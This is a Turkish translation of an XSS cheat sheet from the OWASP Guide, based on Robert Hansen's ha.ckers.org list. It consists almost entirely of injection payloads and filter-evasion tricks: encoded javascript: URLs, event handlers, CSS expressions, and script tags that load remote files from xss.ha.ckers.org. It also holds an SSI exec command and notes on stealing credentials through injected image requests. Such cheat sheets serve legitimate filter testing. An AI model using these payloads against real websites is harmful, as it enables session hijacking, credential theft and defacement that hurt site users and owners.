Kopya Kağıtları

Siteler arası (ötesi) betik çalıştırma (Cross Site Scripting)

Bu liste Robert Hansen'in izni ile yeniden oluşturulmuş ve en son 28 Nisan 2005'te yenilenmiştir. Listenin en yeni sürümü http://ha.ckers.org/xss.html adresinde bulunabilir.

XSS Saptayıcı

Bu dizgiyi enjekte edin, kaynak kodu açın ve "XSS" dizgisini (string) arayın, eğer "<XSS" yerinde "<XSS" görüyorsanız sayfa saldırıya açıklık olabilir.

```
'';!--"<XSS>=&{()}
```

Normal XSS

```
<IMG SRC="javascript:alert('XSS');">
```

Tırnak ve noktalı virgul olmadan

```
<IMG SRC=javascript:alert('XSS')>
```

Büyük küçük harf ayrımı yapmadan

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

HTML varlıkları (entity)

```
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
```

UTF-8 Unicode kodlama

IE ve Opera başta olmak üzere

```
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>
```

Noktalı virgülsüz uzun UTF-8 kodlama

Bu genellikle `&#XX` stili XSS saldırılarını engelleyen kodlar için etkilidir, çünkü bir çok insan toplamda 7 numerik karaktere tamamlamayı bilmez. Bu, `$tmp_string =~ s/.*\&#(\d+);.*/$1/;` gibi html kodlanmış bir dizginin noktalı virgülle biteceğini (hatalı bir şekilde) varsayan dizgilere karşı kod çözen (decode) kişilere karşı yararlıdır.

```
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#00
00105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0
000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
```

Noktalı virgülsüz Hex kodlama

Bu da yukarıdaki Perl regex (düzenli ifadeler) değiştirmesine karşı uygulanabilir bir saldırıdır.

```
$tmp_string =~ s/.*\&#(\d+);.*/$1/;
```

Yukarıdaki regex'teki yanlış varsayım, # karakteri sonrası bir numerik karakterin geleceğidir, ki bu hex HTML için geçerli değildir.

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#
x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

XSS'i bölmek için kullanılan boşluk karakterleri

IE ve Opera'da çalışır. Bazı websiteleri 09-13 (onluk düzende) karakterlerinden herhangi birinin bu tür bir saldırıda çalışacağını iddia etmektedir. Bu doğru değildir. Sadece 09 (yatay sekme), 10 (satır atlama) ve 13 (satır başı komutu) çalışır. Daha fazla detay için ASCII tablosuna bakın. Aşağıdaki 4 tane XSS örneği bu saldırı vektörünü (çeşidini) gösterir:

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG
SRC
```

```
=
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
```

Boş (null) baytlar

Tamam yalan söyledim, null baytlar da XSS vektörleri (çeşitleri) olarak IE ve Opera'nın eski versiyonlarında çalışır. Ama yukarıdaki gibi değil. Dizgileri (string) Burp Proxy gibi bir araçla, direk olarak enjekte etmeniz gerekir veya eğer dizgiyi kendiniz

yazmak istiyorsanız ya wim (^V@ karakter dizgisi null üretir) kullanmanız ya da aşağıdaki programı kullanmanız gerekir. Tamam, tekrar yalan söyledim, Opera'nın eski versiyonları (Windows üzerinde circa 7.11) bir başka karaktere de, 173 (soft hypen kontrol karakteri), açıktırlar. Ama null karakteri %00, benim aşağıdaki örneği biraz değiştirerek gerçek hayatta kullanılan bazı filtreleri atlatabilmemde daha faydalı olmuştur.

```
perl –e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

Boşluklar

Resimlerdeki (img) XSS saldırısı için JavaScript'ın önündeki boşluklar. (bu durum, özellikle örüntü uyuşmalarının -pattern match- "javascript" kelimesindeki boşlukları göz önünde bulundurmamasında faydalıdır. Aslında bu durumda kod çalışmayacağından bu gözlem doğrudur ama boşluk "javascript:" anahtar kelimesi ile tırnaklar arasında olursa betik çalışır):

```
<IMG SRC="    javascript:alert('XSS');">
```

Tek tırnak veya çift tırnak veya noktalı virgül olmadan

```
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
```

Body resmi (image)

<BODY BACKGROUND="javascript:alert('XSS')">

Body etiketi (tag)

Bu metodu seviyorum, çünkü bu metotla XSS saldırısını başarmak için "javascript:" veya "<SCRIPT..." gibi benzer yapılara gerek duyulmaz.

<BODY ONLOAD=alert('XSS')>

Olay İşleyiciler (event handlers)

Olay işleyiciler body onload saldırısına benzer şekilde XSS saldırılarında kullanılabilir. Aşağıdaki liste yazıldığı zamanın Internet'teki en kapsamlı listesidir.

- FSCommand() (gömülmüş Flash nesnesinden çalıştırıldığında, saldırgan tarafından kullanılabilir)
- onAbort() (kullanıcı, bir resmin yüklenmesini yarıda bıraktığında, kestiğinde)
- onActivate() (bir obje, aktif öğe (element) olarak belirlendiğinde)
- onAfterPrint() (kullanıcının önizleme işini yapmasından veya yazma işini bitirmesinden sonra harekete geçer (activates))
- onAfterUpdate() (kaynak nesnenin içindeki veri yeniledikten sonra veri objesi üzerinde harekete geçer)
- onBeforeActivate() (Nesne aktive edilmeden once ateşlenir)
- onBeforeCopy() (saldırgan saldırı dizgisini, seçilen şey, taşıma panosuna kopyalanmadan hemen önce çalıştırır – saldırgan bunu execCommand("Copy") fonksiyonunu kullanarak da yapabilir.)
- onBeforeCut() (saldırgan saldırı dizgisini seçilen kesilmeden hemen önce çalıştırır.)
- onBeforeDeactivate() (activeElement (aktif öğe) geçerli nesneden başka bir nesneye değiştirilmesinden hemen sonra harekete geçer)
- onBeforeEditFocus() (Düzenlenebilir (editable) öğe içerisinde bulunan bir nesnenin arayüz (UI)-aktif durumuna girmesinden hemen önce veya düzenlenebilir bir kap (container) nesnesi kontrol seçildiğinde (control selected; kullanıcının bir nesneye bir kez tıklaması ile olur))
- onBeforePaste() (kullanıcının yapıştırmaya ikna edilmesi veya execCommand(“Paste”) komutu ile buna zorlanması gerekir)
- onBeforePrint() (kullanıcının yazma işlemine ikna edilmesi gerekir veya saldırganın print() veya execCommand("Print") fonksiyonunu kullanabilir)
- onBeforeUnload() (kullanıcı tarayıcıyı kapatmaya ikna edilmelidir – çünkü ebeveyn tarafından açılmadıysa saldırgan pencereyi geri boşaltamaz (unload).)
- onBlur() (pencere ilgiyi kaybettiğinde ve diğer bir bağlamsal pencere (popup) yüklendiğinde)

- onBounce() (marquee (bir HTML etiketi) nesnesinin “behavior” özelliği “alternate” değerine eşitlendiğinde ve marquee nesnesinin içeriği pencerenin bir tarafına dayandığında ateşlenir)
- onCellChange() (veri sağlayıcıdaki veri değiştiğinde ateşlenir)
- onChange() (select, text, veya TEXTAREA alanları ilgiyi kaybettiğinde ve değerleri değiştirildiğinde)
- onClick() (birisinin form üzerine tıklaması ile)
- onContextMenu() (kullanıcının saldırı alanına sağ tıklaması gerekir)
- onControlSelect() (kullanıcı, nesneye kontrol seçme (örnek: bir kez tıkladığında) yaptığında ateşlenir)
- onCopy() (kullanıcının birşeyleri kopyalaması veya execCommand("Copy") komutunun çalıştırılması gerekir)
- onCut() (kullanıcının birşeyleri kesmesi veya execCommand("Cut") komutunun çalıştırılması gerekir)
- onDataAvailible() (kullanıcının bir öğe içerisindeki veriyi değiştirmesi veya saldırganın aynı işi yapması gerekir)
- onDataSetChanged() (bir veri kaynak nesnesi tarafından gösterilen veri kümesi değiştiğinde ateşlenir)
- onDataSetComplete() (veri kaynak nesnesinden gelen bütün verilerin hazır olduğunu belirtmek için ateşlenir)
- onDblClick() (kullanıcı bir bağa (link) veya form öğesine çift tıklar)
- onDeactivate() (activeElement (aktif öğe) geçerli nesneden ebeveyn dokümanındaki başka bir nesneye değiştirildiğinde ateşlenir)
- onDrag() (kullanıcının bir nesneyi sürüklemesini (drag) gerektirir)
- onDragEnd() (kullanıcının bir nesneyi sürüklemesini (drag) gerektirir)
- onDragLeave() (kullanıcının bir nesneyi geçerli bir yer dışına sürüklemesini gerektirir)
- onDragEnter() (kullanıcının bir nesneyi geçerli bir yere sürüklemesini gerektirir)

- onDragOver() (kullanıcının bir nesneyi geçerli bir yere sürüklemesini gerektirir)
- onDragDrop() (kullanıcı bir nesneyi (mesela bir dosya) tarayıcı (browser) penceresine bırakır)
- onDrop() (kullanıcı bir nesneyi (mesela bir dosya) tarayıcı penceresine bırakır)
- onError() (bir dokümanın veya resmin yüklenmesi hataya sebebiyet verirse)
- onErrorUpdate() (veri kaynağı nesnesindeki ilgili veriyi yenileme sırasında bir hata oluştuğunda bir veri-bağlı (databound; HTML Sunucu kontrollerinden) nesnesi üzerinde ateşlenir)
- onExit() (Birisi bir bağ üzerine tıkladığında veya geri tuşuna bastığında)
- onFilterChange() (görsel bir filtre durum değişimini bitirdiğinde ateşlenir)
- onFinish() (marquee (bir HTML etiketi; bir dizgi yatay olarak hareket eder) döngüsünü bitirdiğinde saldırgan saldırıyı oluşturabilir)
- onFocus() (pencere ilgi kazandığında saldırgan saldırı dizgisini çalıştırır)
- onFocusIn() (pencere ilgi kazandığında saldırgan saldırı dizgisini çalıştırır)
- onFocusOut() (pencere ilgiyi kaybettiğinde saldırgan saldırı dizgisini çalıştırır)
- onHelp() (kullanıcı, pencere ilgiye sahipken F1'e bastığında saldırgan saldırı dizgisini çalıştırır)
- onKeyDown() (kullanıcı tuşa basmayı bırakır)
- onKeyPress() (kullanıcı tuşa basar ve basmaya devam eder)
- onKeyUp() (kullanıcı tuşu bırakır)
- onLayoutComplete() (kullanıcı yazma veya önizleme işlemini yapmak zorundadır)
- onLoad() (pencere yüklendikten sonra saldırgan saldırı dizgisini çalıştırır)
- onLoseCapture() (releaseCapture() medotu ile saldırı gerçeklenir)
- onMouseDown() (saldırgan kullanıcıyı bir resmin üzerine tıklamaya ikna etmelidir)
- onMouseEnter() (imleç bir nesnenin veya bir alanın üzerinde hareket eder)

- onMouseLeave() (saldırgan kullanıcıyı, faresini bir resmin veya tablonun üzerine getirip tekrar dışına götürmeye ikna etmelidir)
- onMouseMove() (saldırgan kullanıcıyı, faresini bir resmin veya tablonun üzerine getirmeye ikna etmelidir)
- onMouseOut() (saldırgan kullanıcıyı, faresini bir resmin veya tablonun üzerine getirip tekrar dışına götürmeye ikna etmelidir)
- onMouseOver() (imleç (fare işareti) bir nesnenin veya bir alanın üzerinde hareket eder)
- onMouseUp() (saldırgan kullanıcıyı bir resme tıklamaya ikna etmelidir)
- onMouseWheel() (saldırgan kullanıcıyı faresinin topunu kullanmasına ikna eder)
- onMove() (kullanıcı veya saldırgan sayfayı taşımalıdır)
- onMoveEnd() (kullanıcı veya saldırgan sayfayı taşımalıdır)
- onMoveStart() (kullanıcı veya saldırgan sayfayı taşımalıdır)
- onPaste() (kullanıcının yapıştırma işlemini yapması gerekir veya saldırganın execCommand("Paste") fonksiyonunu kullanabilir)
- onProgress() (saldırgan bunu bir Flash filmi yüklenirken yapmalıdır)
- onPropertyChange() (kullanıcı veya saldırgan bir öğenin özelliğini değiştirmelidir)
- onReadyStateChange() (kullanıcı veya saldırgan bir öğenin özelliğini değiştirmelidir)
- onReset() (kullanıcı veya saldırgan bir formu ilk durumuna döndürür (reset))
- onResize() (kullanıcının pencerenin boyunu değiştirmeli veya saldırgan pencerenin boyunu otomatik olarak şu şekilde ilklendirebilir; <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeEnd() (kullanıcının pencerenin boyunu değiştirmeli veya saldırgan pencerenin boyunu otomatik olarak şu şekilde ilklendirebilir; <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

- onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeStart() (kullanıcının pencerenin boyunu değiştirmeli veya saldırgan pencerenin boyunu otomatik olarak şu şekilde ilklendirebilir; <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onRowEnter() (kullanıcı veya saldırgan bir veri kaynağında bir satırı değiştirmelidir)
- onRowExit() (kullanıcı veya saldırgan bir veri kaynağında bir satırı değiştirmelidir)
- onRowDelete() (kullanıcı veya saldırgan bir veri kaynağından bir satırı silmelidir)
- onRowInserted() (kullanıcı veya saldırgan bir veri kaynağına bir satır eklemelidir)
- onScroll() (kullanıcının kaydırma işlemi yapması gerekir veya saldırgan scrollBy() fonksiyonunu kullanabilir)
- onSelect() (kullanıcının herhangi bir yazıyı seçmesi gerekir – saldırgan şu şekilde bir otomatik ilklendirme de yapabilir: window.document.execCommand("SelectAll");)
- onSelectionChange() (kullanıcının herhangi bir yazıyı seçmesi gerekir – saldırgan şu şekilde bir otomatik ilklendirme de yapabilir: window.document.execCommand("SelectAll");)
- onSelectStart() (kullanıcının herhangi bir yazıyı seçmesi gerekir – saldırgan şu şekilde bir otomatik ilklendirme de yapabilir: window.document.execCommand("SelectAll");)
- onStart() (bütün marquee döngülerinin başında ateşlenir)
- onStop() (kullanıcının dur tuşuna basması veya websitesinden ayrılması gerekir)
- onSubmit() (saldırganın veya kullanıcının bir formu yollaması gerekir)
- onUnload() (kullanıcı herhangi bir bağa (link) tıkladığında veya GERİ tuşuna bastığında veya saldırgan kullanıcıyı bir bağa tıklamaya zorladığında)

IMG Dynsrc

IE'de çalışır

```
<IMG DYNSRC="javascript:alert('XSS')">
```

Input DynSrc

```
<INPUT TYPE="image" DYNSRC="javascript:alert('XSS');">
```

Arkaplan Kaynağı

IE'de çalışır

```
<BGSOUND SRC="javascript:alert('XSS');">
```

& JS Include

Netscape 4.x

```
<br size="&{alert('XSS')}">
```

Layer Kaynağı

Netscape 4.x

```
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
```

Biçem Dokümanı (CSS)

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

Bir Resmin içerisindeki VBScript

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

Mocha

Sadece eski Netscape'te

```
<IMG SRC="mocha:[code]">
```

Livescript

Sadece eski Netscape'te

```
<IMG SRC="livescript:[code]">
```

Meta

meta yenileme (meta refresh) ile ilgili garip olan IE, Firefox, Netscape or Opera'da başlıkta (HTTP başlığında) bir Referrer yollamamasıdır, bu nedenle Referrer etiketlerinden kurtulmanız gereken bazı saldırılarda kullanılabilir.

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

IFrame

Eğer iframe'lere izin verilirse bir çok XSS problemi de doğacaktır.

```
<IFRAME SRC=javascript:alert('XSS')></IFRAME>
```

Frameset

```
<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
```

Table

Tabloların XSS'e hedef olacağını kim düşünürdü ki … ben hariç, tabiki! ☺

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

DIV Arkaplan Resmi

```
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
```

.htc XSS açıklıklarında DIV Behavior

Sadece Netscape

```
<DIV STYLE="behaviour: url('http://xss.ha.ckers.org/exploit.htc');">
```

DIV expression

Sadece IE. Bunun başka bir versiyonu, iki nokta üstüste ile "expression" arasında yeni satır kullanan, gerçek hayattaki bir XSS filtresine karşı etkili olmuştu.

```
<DIV STYLE="width: expression(alert('XSS'));">
```

Parçalanmış JavaScript ile Style etiketleri

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
```

expression ile IMG Style

Bu, yukarıdaki XSS vektörlerinin gerçek bir karışımıdır ama STYLE etiketlerinin ayrıştırılmasının (parse) ne kadar zor olduğunu gösterir

```
<IMG STYLE='
xss:
expre\ssion(alert("XSS"))'>
```

Style Etiketi

Sadece Netscape

```
<STYLE TYPE="text/javascript">alert('X SS');</STYLE>
```

Arkaplan Resmi kullanan Style Etiketi

```
<STYLE TYPE="text/css">.XSS{background-
image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
```

Arkaplan kullanan Style Etiketi

```
<STYLE
type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
```

BASE etiketi

Geri kalan karakterilerin yorumlanmasını engellemek için // karakterlerini kullanmanız gerekir, böylece JS hatası almazsınız ve XSS etiketiniz çalışır. Bu aynı zamanda, yolları (path) tam olarak değil de "/images/image.jpg" gibi dinamik olarak oluşturulan resimlerin kullanılması durumuna bağlıdır.

```
<BASE HREF="javascript:alert('XSS');//">
```

Object Etiketi

Sadece IE. Objelere izin verildiğinde, kullanıcıları etkileyecek viruslerde enjekte edebilirsiniz. Aynı şey APPLET etiketleri için de geçerlidir:

```
<OBJECT data=http://xss.ha.ckers.org width=400 height=400 type=text/x-
scriptlet">
```

Flash ve Object

OBJECT etiketini kullanarak XSS içeren bir flash filmi gömebilirsiniz.

```
getURL("javascript:alert('XSS')")
```

Yukarıdaki aksiyon betiğini flash içerisinde kullanarak XSS saldırınızı saklayabilirsiniz (karmaşıklaştırabilirsiniz):

```
a="get";
b="URL";
c="javascript:";
d="alert('XSS');";
eval(a+b+c+d);
```

XML

```
<XML SRC="javascript:alert('XSS');">
```

Hiçbiri çalışmazsa, IMG SRC

Sadece <IMG SRC="$yourinput"> alanına yazabildiğinizi varsayarsak ve "javascript:" anahtar kelimesi özyineli (recursive) olarak siliniyorsa:

```
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
```

Sadece birkaç karakter enjekte edebildiğinizi ve ".js"'yi temizlediğini varsayarsak, JavaScript dosyanızı XSS saldırısı olarak bir resim ismine değiştirebilirsiniz.

```
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
```

Yarı açık HTML/JS XSS vektörleri

Bu bir saldırı vektörü olarak faydalıdır çünkü > işaretine gerek duymaz. Bu durum XSS'inizi enjekte edeceğiniz yerin aşağısında herhangi bir HTML etiketi olduğunu varsayar. ">" etiketi olmasa dahi onun altındaki etiketler bu durumun bir hata olmasını engelleyecektir. İki nokta 1) Bu durum alttaki HTML'e göre HTML'in yapısını bozar ve 2) Kesinlikle çift tırnak işaretine ihtiyacınız olacaktır, yoksa JavaScript'iniz hata verir çünkü değerlendireceği bir sonraki satır şunun gibi birşey olacaktır "</TABLE>". Bir yan not olarak, bir IMG etiketi yerine açık uçlu bir IFRAME etiketi kullanan, gerçek hayatta karşılaştığım bir XSS filtresine karşı da etkili olmuştu:

```
<IMG SRC="javascript:alert('XSS')"
```

Server Side Includes

SSI'ın sunucuda kurulu olmasını gerektirir

```
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
```

IMG gömülü komutlar

Bu, kullanacağımız XSS dizgisinin enjekte edileceği web sayfasının (web mesaj panoları gibi) şifre koruması arkasında olduğu durumda ve bu şifre korumasının aynı etki alanı üzerinde diğer komutlarla çalıştığında başarılı olur. Bu saldırı ile kullanıcıları silebilir, ekleyebilir (eğer sayfayı ziyaret eden kişi yönetici ise) ve kimlik bilgilerini başka yere yollayabilirsiniz, v.b. Bu en az kullanılan ama en etkili XSS vektörlerindendir.

```
<IMG
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=malic
iouscode">
```

HTML tırnak kapsama kullanarak XSS

Bu IE'de test edilmiştir, sizin denemelerinizde farklılılar olabilir.

`"<SCRIPT>"`'e izin verip `"/<script[^>]+src/i"` regex filtresini kullanarak `"<SCRIPT SRC..."`'e izin vermeyen sitelerde XSS çalıştırmak için:

```
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
```

`"<SCRIPT>"`'e izin verip aşağıdaki regex gibi bir filtre kullanarak "&ltscript src..."'a izin vermeyen sitelerde XSS çalıştırmak için:

```
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
```

Bu önemli çünkü yukarıdaki regex'i gerçek hayatta gördüm:

```
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
```

Veya

```
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
```

Veya

```
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
```

Biliyorum, açıklıkları giderme tekniklerinden bahsetmeyeceğimi söylemiştim ama eğer uzaktan indirilen betiğe (remote script) değilde hala <SCRIPT> etiketlerine izin veriyorsanız, bu XSS örneğinin çalışması için bildiğim tek şey bir sonlu otomattı (state machine) (ve tabi <SCRIPT> etiketlerine izin veriliyorsa bunu yapmanın başka yolları da vardır). Bu XSS beni hala endişelendiriyor, çünkü bunu durdurmanın tek yolu bütün aktif içeriği durdurmaktır.

```
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
```

URL Dizgi Atlatması

`http://www.google.com/`'nin programsal olarak yasaklandığını varsayalım.

- Sunucu ismine karşılık IP
  <A HREF=http://66.102.7.147/>link</A>

- URL kodlama
  <A
  HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>l
  ink</A>

Protokol çözümleme atlatması

`ht://` IE'de `http://`'ye çevrilir. XSS ile çalışacak daha başka bir çok kısa yollar vardır, mesela `htt://, hta://, help://` v.b… Bu gerçekten yerin çok önemli olduğu durumlarda işe yarar (2 karakter eksik dizgiler ile çok şeyi yaptırılabilir).

```
<A HREF=ht://www.google.com/>link</A>
```

cnames'leri silmek

Yukarıdaki URL ile birleştirildiğinde, "www."'yi silmek ek olarak 4 bayt kazandıracaktır. Böylece bu özelliğin kurulu olduğu sunucularda toplam 6 baytlık bir kazanım olacaktır.

```
<A HREF=http://google.com/>link</A>
```

Tam Alan Adı (FQDN)

Tam alan adları çözümlemesi için en sona bir nokta koyun.

```
<A HREF=http://www.google.com./>link</A>
```

JavaScript

```
<A
HREF="javascript:document.location='http://www.google.com/'">link</A>
```

Saldırı vektörü olarak içerik değiştirme

"http://www.google.com/"'in programsal olarak hiç (nothing) ile değiştirildiğini varsayalım. Saldırı vektörünü oluşturmaya yardımcı olması için buna benzer bir XSS vektörünü, gerçek hayatta kullanılan bir XSS filtresine karşı, değiştirme filtresinin kendisini kullanarak oluşturmuştum (IE'de ve Opera'da çalıştırılan `"java&#x26;#x09;script:"` `"java&#x09;script:"`'a çevrilmişti.).

```
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
```

Karakter Kodlama

Aşağıdakiler şu anda "<" karakteri için geçerli kodlamalardır. Standardlar harika şeyler, değil mi? ☺

<

```
%3C
&lt
&lt;
```


```
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
```


```
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
```

Dökümanın Aslı : OWASP GUIDE 2.0.1

Çeviri **:** Bedirhan Urgun - bedirhan@webguvenligi.org